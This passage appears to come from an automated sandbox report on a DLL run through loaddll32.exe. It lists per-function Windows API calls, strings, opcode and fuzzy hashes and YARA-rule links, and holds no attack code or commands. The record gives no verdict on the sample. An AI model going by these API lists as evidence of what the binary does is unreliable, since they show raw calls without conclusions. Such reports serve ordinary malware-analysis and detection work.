API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 4dd35d9f3548dc9bd6d37888c6dbc968d74ad219803117d2628b820a51188a0e
Instruction ID: 2da887dd4eca23a4c35e0d814005da5c54b9fb61422484b5371126df2e85f443
Opcode Fuzzy Hash: 4dd35d9f3548dc9bd6d37888c6dbc968d74ad219803117d2628b820a51188a0e
Instruction Fuzzy Hash: F441C2B1D01614CFEB60CF94C840AAEB7B8EF05718F24456DDD55AB381EB31AA06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2D600, Relevance: 9.1, APIs: 6, Instructions: 121registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED2D510: GetModuleHandleW.KERNEL32(Advapi32.dll,3EF319B9), ref: 6ED2D564

RegCloseKey.ADVAPI32(?,?,?), ref: 6ED2D662
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 6ED2D6AA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 6ED2D6E3
RegCloseKey.ADVAPI32(?), ref: 6ED2D6F8
RegCloseKey.ADVAPI32(?), ref: 6ED2D720
RegCloseKey.ADVAPI32(?), ref: 6ED2D748

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Enum$HandleModule
String ID:
API String ID: 2852649468-0
Opcode ID: a841aee6354069037b171181d10458173baf3753f76e34faca8cb386afc2e477
Instruction ID: 27464863c6f03b5db92d6904cf6fd534b65ae3af66e6abf3b84c530d50a79252
Opcode Fuzzy Hash: a841aee6354069037b171181d10458173baf3753f76e34faca8cb386afc2e477
Instruction Fuzzy Hash: 9C417C72204315AFD710DFA4D844BABB7E8EF88319F10492EF999D7280DB34D904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2F4C0, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 351COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6ED20000,?,00000104), ref: 6ED2F6AC
GetModuleHandleW.KERNEL32(00000000), ref: 6ED2F864

Part of subcall function 6ED27B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6ED27B5D

Strings

Module_Raw, xrefs: 6ED2F93C
Module, xrefs: 6ED2F911
REGISTRY, xrefs: 6ED2F969

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: de29dd2eb74fa7e2bd12db663dc5e590e010384335a1882bbeba5be4465c7c41
Instruction ID: adb05750e40b7815fd78da7b2b91edbdf9b827f860b67d78de0efe655849472d
Opcode Fuzzy Hash: de29dd2eb74fa7e2bd12db663dc5e590e010384335a1882bbeba5be4465c7c41
Instruction Fuzzy Hash: BED170B5A006258FDB64DBA4DC50B9EB378BF45308F1009B9D90EA7640EB75DE84CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25BB0, Relevance: 9.1, APIs: 6, Instructions: 90windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6ED25BCB
GetMenuCheckMarkDimensions.USER32 ref: 6ED25C12
CoUninitialize.OLE32(?,6ED26387), ref: 6ED25C5A
GetForegroundWindow.USER32(?,6ED26387), ref: 6ED25C79
GetSystemDefaultUILanguage.KERNEL32(?,6ED26387), ref: 6ED25CD8

Part of subcall function 6ED25D10: GetMessageExtraInfo.USER32 ref: 6ED25E0F
Part of subcall function 6ED25D10: GetDesktopWindow.USER32 ref: 6ED25E15
Part of subcall function 6ED25D10: UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6ED25EA6
Part of subcall function 6ED25D10: UnregisterApplicationRestart.KERNEL32 ref: 6ED25EC0

AnyPopup.USER32 ref: 6ED25CE8

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregisterWindow$CallbackCheckCountDefaultDesktopDimensionsExtraForegroundInfoLanguageMarkMenuMessagePopupRecoveryRestartSystemTickUninitialize
String ID:
API String ID: 4182693304-0
Opcode ID: 6a3a6ffe3654118e221adc375689a89892300d36e7a46b2eeffef093337f4a47
Instruction ID: 78078d206dfca965ca24bbf558440d29509acee1fdaaf58ae147245947b68163
Opcode Fuzzy Hash: 6a3a6ffe3654118e221adc375689a89892300d36e7a46b2eeffef093337f4a47
Instruction Fuzzy Hash: 95310A71834E088EEB43AFF580166A9B328BF573C9F10DB63AB5636095FB1610C38572

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25F20, Relevance: 9.1, APIs: 6, Instructions: 79threadwindowclipboardCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25F67
IsProcessDPIAware.USER32 ref: 6ED25F6F
CoFreeUnusedLibraries.OLE32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25F80
GetFocus.USER32(00000000,00000031,0000004F,?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8), ref: 6ED25FB0
SetFileApisToOEM.KERNEL32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED25FE3
GetClipboardSequenceNumber.USER32(?,?,?,?,6ED25E78,?,?,?,?,?,?,6ED25CF8,?,6ED26387), ref: 6ED26020

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApisAwareClipboardFileFocusFreeLibrariesLocaleNumberProcessSequenceThreadUnused
String ID:
API String ID: 3457905144-0
Opcode ID: 228aea00be3a1e47c9a814af84d3c0592147e700004f05a7f00629765594b19f
Instruction ID: e0d5d3735d7a0dbe7c92411e31f04d46f8b69699ae76473aa2c1382c3ca05704
Opcode Fuzzy Hash: 228aea00be3a1e47c9a814af84d3c0592147e700004f05a7f00629765594b19f
Instruction Fuzzy Hash: 3E214B71C54F148FD303DF78802566AF7ADAF9B398F005736E9516711AEB2188D386A2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39ACC, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6ED381BC,6ED34296,6ED34919,?,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A), ref: 6ED39ADA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6ED39AE8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6ED39B01
SetLastError.KERNEL32(00000000,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0,0000000C,6ED34C4A,?,00000001,?), ref: 6ED39B53

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: db5e25fc3cf6ee56f037d5cf7593dbd8efa9956b78f42e8aed94364a42315bdd
Instruction ID: 4ff4c36df21cc8e550741f378b4bd4480f9f4c1160ce878e3b07cc00ea2f1769
Opcode Fuzzy Hash: db5e25fc3cf6ee56f037d5cf7593dbd8efa9956b78f42e8aed94364a42315bdd
Instruction Fuzzy Hash: 4D01753222EA329EBF552BFA7CD4A562768EB03BB9B30463DE510450D8EF5188039960

Uniqueness

Uniqueness Score: -1.00%

Function 6ED305E0, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6ED2AF10: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,3EF319B9,?), ref: 6ED2AD57

ShellExecuteW.SHELL32(00000000,edit,?,00000000,00000000,00000001), ref: 6ED30638
PdhRemoveCounter.PDH(?,?,00000000), ref: 6ED306D3
PdhCloseQuery.PDH(?,?,00000000), ref: 6ED306E8

Strings

0, xrefs: 6ED30796
edit, xrefs: 6ED30631

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCounterExecuteFolderPathQueryRemoveShell
String ID: 0$edit
API String ID: 2809573910-562573004
Opcode ID: ffec02d1fec65ba69a83a70ff14e19951770254ad868b5408c68ede511bb5557
Instruction ID: d9313bafb6f2a544a65e7c2072d323e8a7e8e12ac038c26f9df468fa1287a7c9
Opcode Fuzzy Hash: ffec02d1fec65ba69a83a70ff14e19951770254ad868b5408c68ede511bb5557
Instruction Fuzzy Hash: EE9102715007218FE700DF68C880B9FB7A5FF86358F204A1CE9949B691E776E985CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4BE3B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6ED4BE40

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 711e1aa35bdba7be6749605e44e3a9750831a756d781a4486d820e950407e68e
Instruction ID: 6b221798344780c9d45325e5da72a9e4223ab4ab239b817eb04a49799c0a06ff
Opcode Fuzzy Hash: 711e1aa35bdba7be6749605e44e3a9750831a756d781a4486d820e950407e68e
Instruction Fuzzy Hash: 1721CF71614616FF97108FE68C80D9F7BACEFB13687044A24E62497588DB31EC4187B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3AB77, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6ED3AC38,00000000,?,00000001,00000000,?,6ED3ACAF,00000001,FlsFree,6ED5BE6C,FlsFree,00000000), ref: 6ED3AC07

Strings

api-ms-, xrefs: 6ED3ABC7

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d08e49947f208e646e5f9bc5575ffe04b397343732bf9ae572e2e185af55c52d
Instruction ID: e01fa921542a6f58f2345739c1db8be2ddc24f7549a8a8ea9513aeccde2b256f
Opcode Fuzzy Hash: d08e49947f208e646e5f9bc5575ffe04b397343732bf9ae572e2e185af55c52d
Instruction Fuzzy Hash: D411A336B55631EBEF528BAC9C50B4D37A9AB037B0F250210F915EB2C4D670ED018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30D20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

InsertMenuW.USER32(?,?,00000C00,?,00000000), ref: 6ED30D4A
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Reload Configuration)), ref: 6ED30D5E
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Edit Configuration)), ref: 6ED30D72

Strings

Performance Monitor - (Edit Configuration), xrefs: 6ED30D60
Performance Monitor - (Reload Configuration), xrefs: 6ED30D4C

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InsertMenu
String ID: Performance Monitor - (Edit Configuration)$Performance Monitor - (Reload Configuration)
API String ID: 1478380399-4081388356
Opcode ID: bbe1e0dfd50cdf3f0cbe035c186f88a80b76f2861f72f74e989b8f7b7b190a33
Instruction ID: 4ff77ebf896a061d2d2acdaba3d7ff4bfe5e1826a985eb440cd5e258f6925149
Opcode Fuzzy Hash: bbe1e0dfd50cdf3f0cbe035c186f88a80b76f2861f72f74e989b8f7b7b190a33
Instruction Fuzzy Hash: F8F0543314121D7BEB11DEC59C81FBB7B6CEB49714F144416FB149A181C371A5259BB4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED45019, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6ED44FCB,?,?,6ED44F93,?,00000000,?), ref: 6ED4502E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6ED45041
FreeLibrary.KERNEL32(00000000,?,?,6ED44FCB,?,?,6ED44F93,?,00000000,?), ref: 6ED45064

Strings

mscoree.dll, xrefs: 6ED45027
CorExitProcess, xrefs: 6ED45039

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: be50126c437c192a246c4dcb5e1184bcf4ae9ec4ab593d513c9d0ca34ca2ae94
Instruction ID: 9dbb7533dfe1005e12a8f7d5997b618f2ad7975ad8b584ec63e13baedda519d4
Opcode Fuzzy Hash: be50126c437c192a246c4dcb5e1184bcf4ae9ec4ab593d513c9d0ca34ca2ae94
Instruction Fuzzy Hash: E3F08235901A28FBEF129BD0CD19B9D7F78EB06752F100051FA05A6290CB358E11DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4DE6C, Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6ED4DEF0
__alloca_probe_16.LIBCMT ref: 6ED4DFB6
__freea.LIBCMT ref: 6ED4E022

Part of subcall function 6ED4828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

__freea.LIBCMT ref: 6ED4E02B
__freea.LIBCMT ref: 6ED4E050

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: a5f527872846a13d20bb583ad41d5f6dab3f78251a1ca05cb7b19f5544eabe23
Instruction ID: a691fb9273c1f94860cc084f1e1bffd3fc29c3a76f341eadfaaaf327f3c024be
Opcode Fuzzy Hash: a5f527872846a13d20bb583ad41d5f6dab3f78251a1ca05cb7b19f5544eabe23
Instruction Fuzzy Hash: 1C51B172600216FFEF218FE5CC40EAB3BA9DF65759F110529FD24AB140EB35DC518AA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED33460, Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

PdhRemoveCounter.PDH(?,3EF319B9,?,?,00000000,6ED590E0,000000FF,?,6ED3083E,00000000), ref: 6ED334A4
PdhCloseQuery.PDH(?,3EF319B9,?,?,00000000,6ED590E0,000000FF,?,6ED3083E,00000000), ref: 6ED334BA
PdhOpenQueryW.PDH(00000000,00000000,00000000), ref: 6ED334E4
PdhValidatePathW.PDH(?), ref: 6ED33547
PdhAddCounterW.PDH(00000000,?,00000000,?), ref: 6ED3356E

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CounterQuery$CloseOpenPathRemoveValidate
String ID:
API String ID: 698537007-0
Opcode ID: c61302ddf2e734228e10e16cb6fb03bb9fc925f441b89870fcde66a9a8f7afd5
Instruction ID: 45a6ea14f19b396098a73f324e1e98dd56f85893900240c953e49c5b05e3ed15
Opcode Fuzzy Hash: c61302ddf2e734228e10e16cb6fb03bb9fc925f441b89870fcde66a9a8f7afd5
Instruction Fuzzy Hash: DE518C71900669AFDB10CF94C944BDAB7B8FF46314F2086A9E569DB640D774EA80CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED25D10, Relevance: 7.6, APIs: 5, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 6ED25DBF
GetMessageExtraInfo.USER32 ref: 6ED25E0F
GetDesktopWindow.USER32 ref: 6ED25E15
UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6ED25EA6
UnregisterApplicationRestart.KERNEL32 ref: 6ED25EC0

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregister$CallbackDesktopDrivesExtraInfoLogicalMessageRecoveryRestartWindow
String ID:
API String ID: 4237200097-0
Opcode ID: cbc35c01b6cf24c61e4399f4bb6d6e57da31ddc8edab9b14648e8e2f0dea2f94
Instruction ID: 2d54dd5b2da028991af0600572fa7be713a4b703bae4316f5ba088acc6da364c
Opcode Fuzzy Hash: cbc35c01b6cf24c61e4399f4bb6d6e57da31ddc8edab9b14648e8e2f0dea2f94
Instruction Fuzzy Hash: 32410871C24F458EE647DBB0801246EF35D6FA72CDF60EB27E512F502AEF20A4D24562

Uniqueness

Uniqueness Score: -1.00%

Function 6ED321E0, Relevance: 7.6, APIs: 5, Instructions: 77threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED321EC
GetCurrentThreadId.KERNEL32 ref: 6ED321FC
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32219
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED3223D
SetWindowLongW.USER32 ref: 6ED32289

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CurrentEnterLongThreadWindow
String ID:
API String ID: 4199534935-0
Opcode ID: 793c5220601747fb023a03b5f5ec9ab9dbbcf813a1e38679f1307c2216cfec8e
Instruction ID: d9362257596e056fa520e8ebe7bc679edbfdbd02031b0854acf171ad7827822f
Opcode Fuzzy Hash: 793c5220601747fb023a03b5f5ec9ab9dbbcf813a1e38679f1307c2216cfec8e
Instruction Fuzzy Hash: 3821A436A18625AB9B609FE9ED04957BB79FF863643208526F955C7200DB30D411CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED35A5C, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED35A6D

Part of subcall function 6ED22200: std::_Lockit::_Lockit.LIBCPMT ref: 6ED2221D
Part of subcall function 6ED22200: std::_Lockit::~_Lockit.LIBCPMT ref: 6ED22239

codecvt.LIBCPMT ref: 6ED35AA7
std::_Facet_Register.LIBCPMT ref: 6ED35ABE
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED35ADE
Concurrency::cancel_current_task.LIBCPMT ref: 6ED35AEB

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID:
API String ID: 3595785899-0
Opcode ID: 21bad5793db67f643c43f1f510690265da5b9d3a0e95e432a7f92d6eaae18420
Instruction ID: 8c5e609ef8c323b53d498fe43fd83a79ef3b7ee113a5ae82322e4f001fc4939e
Opcode Fuzzy Hash: 21bad5793db67f643c43f1f510690265da5b9d3a0e95e432a7f92d6eaae18420
Instruction Fuzzy Hash: E001C0369005299FDF01DBE4C8506FE77B9AF86728F348809D8216B3C0CF309A018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED537CE, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED537E6

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED537F8
_free.LIBCMT ref: 6ED5380A
_free.LIBCMT ref: 6ED5381C
_free.LIBCMT ref: 6ED5382E

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adf1d1d898576e0f5376e64b650081fcb0dde49c1d0c33a0963ac2de064867e8
Instruction ID: 02c09989b7574599a5b98ec16d8734fdd3ecf6936c1b2babd1e8c27087f3d8ef
Opcode Fuzzy Hash: adf1d1d898576e0f5376e64b650081fcb0dde49c1d0c33a0963ac2de064867e8
Instruction Fuzzy Hash: 4EF04F71504A05D78E84EB98E6C9C5A77DDFF547587604C19F418D7744CB20F8918BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED375F0, Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 6ED375FC
GetLastError.KERNEL32(8007000E,?,?,?,00000000), ref: 6ED37601
_com_issue_error.COMSUPP ref: 6ED37614
GetLastError.KERNEL32(?,?,?,00000000), ref: 6ED37622
_com_issue_error.COMSUPP ref: 6ED37635

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ErrorLast
String ID:
API String ID: 1321852664-0
Opcode ID: 12d560d51e13dc0d9bd1208af48d4feab09144cd572ec8d43c3d1774c5237e6f
Instruction ID: ce9403b3b9af2c5971668afe885118710ec21d691c44de08853c26c5066a2294
Opcode Fuzzy Hash: 12d560d51e13dc0d9bd1208af48d4feab09144cd572ec8d43c3d1774c5237e6f
Instruction Fuzzy Hash: 05E08CA1400A3AF6D6006BF50C083AF214C2B02125B304F04A058E50D8EF2DC10286B9

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3ED27, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 498COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6ED3F036

Strings

Z, xrefs: 6ED3EDE4
A, xrefs: 6ED3EDDD
:, xrefs: 6ED3EDCE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z
API String ID: 1302938615-166580712
Opcode ID: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction ID: 087a1da9944a4b6cf58343b4918708754569e037828caf08c8b3f8e5c613f05b
Opcode Fuzzy Hash: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction Fuzzy Hash: B5F1C7BC51422EDAFB10CBE5E8906EDB3B2EB52714BF44626D850BB2C5D7708E89C711

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B82F, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED4B9C9

Strings

*?, xrefs: 6ED4B872

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
